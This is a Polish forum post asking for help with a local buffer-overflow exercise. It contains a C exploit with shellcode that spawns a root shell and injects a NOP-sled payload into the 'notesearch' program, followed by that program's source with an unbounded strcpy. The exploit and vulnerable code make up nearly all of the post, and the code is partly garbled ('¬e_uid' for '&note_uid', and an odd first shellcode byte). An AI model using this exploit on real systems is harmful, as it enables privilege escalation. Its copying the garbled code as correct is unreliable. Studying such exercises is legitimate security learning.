To jest kod exploit'u
Kod: Zaznacz cały
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x32\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc,char *argv[]){
unsigned int i,offset,*ptr,ret;
char *command,*buffer;
command=(char *)malloc(200);
bzero(command,200);
strcpy(command,"./notesearch \'");
buffer=command + strlen(command);
if(argc>1)
offset=atoi(argv[1]);
ret=(unsigned int)&i-offset;
for(i=0;i<160;i+=4)
*((unsigned int*)(buffer+i))=ret;
memset(buffer,0x90,60);
memcpy(buffer+60,shellcode,sizeof(shellcode)-1);
strcat(command,"\'");
system(command);
free(command);
}
Kod: Zaznacz cały
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<fcntl.h>
#include<sys/stat.h>
#define FILENAME "/var/notes"
void usage(char *prog_name, char *filename)
{
printf("Sposób użycia: %s <dane do dopisania do pliku %s>\n", prog_name,
filename);
exit(0);
}
void fatal(char *);
void *ec_malloc(unsigned int);
int print_notes(int,int,char *);
int find_user_note(int,int);
int search_note(char *,char *);
int main(int argc, char *argv[])
{
int userid, printing=1,fd;
char searchstring[100];
if(argc>1)
strcpy(searchstring,argv[1]);
else
searchstring[0]=0;
userid=getuid();
fd=open(FILENAME,O_RDONLY);
if(fd==-1)
fatal("w main() przy otwieraniu pliku do odczyu");
while(printing)
printing=print_notes(fd,userid,searchstring);
printf("-------[koniec danych notatki]-------\n");
close(fd);
}
void fatal(char *message){
char error_message[100];
strcpy(error_message, "[!!]Błąd krytyczny ");
strncat(error_message, message, 83);
perror(error_message);
exit(-1);
}
int print_notes(int fd, int uid, char *searchstring){
int note_lenght;
char byte=0, note_buffer[100];
note_lenght = find_user_note(fd,uid);
if(note_lenght == -1)
return 0;
read(fd,note_buffer,note_lenght);
note_buffer[note_lenght]=0;
if(search_note(note_buffer,searchstring))
puts(note_buffer);
return 1;
}
int find_user_note(int fd, int user_uid){
int note_uid=-1;
unsigned char byte;
int lenght;
while(note_uid!=user_uid){
if(read(fd,¬e_uid,4)!=4)
return -1;
if(read(fd,&byte,1)!=1)
return -1;
byte=lenght=0;
while(byte != '\n'){
if(read(fd,&byte,1)!=1)
return -1;
lenght++;
}
}
lseek(fd,lenght*-1,SEEK_CUR);
printf("[DEBUG] znaleziono %d bajtową notatkę dla użytkownika %d\n",lenght,note_uid);
return lenght;
}
int search_note(char *note,char *keyword){
int i,keyword_lenght,match=0;
keyword_lenght=strlen(keyword);
if(keyword_lenght==0)
return 1;
for(i=0;i<strlen(note);i++){
if(note[i]==keyword[match])
match++;
else{
if(note[i]==keyword[0])
match=1;
else
match=0;
}
if(match==keyword_lenght)
return 1;
}
return 0;
}
Męcze się z tym już kilka godzin i jak narazie nie znalzłem żadnej solucji, która by mi pomogła w rozwiązaniu problemu.
Z góry wielkie dzięki.
[EDIT] temat do zamkniecia z powodu braku odpowiedzi.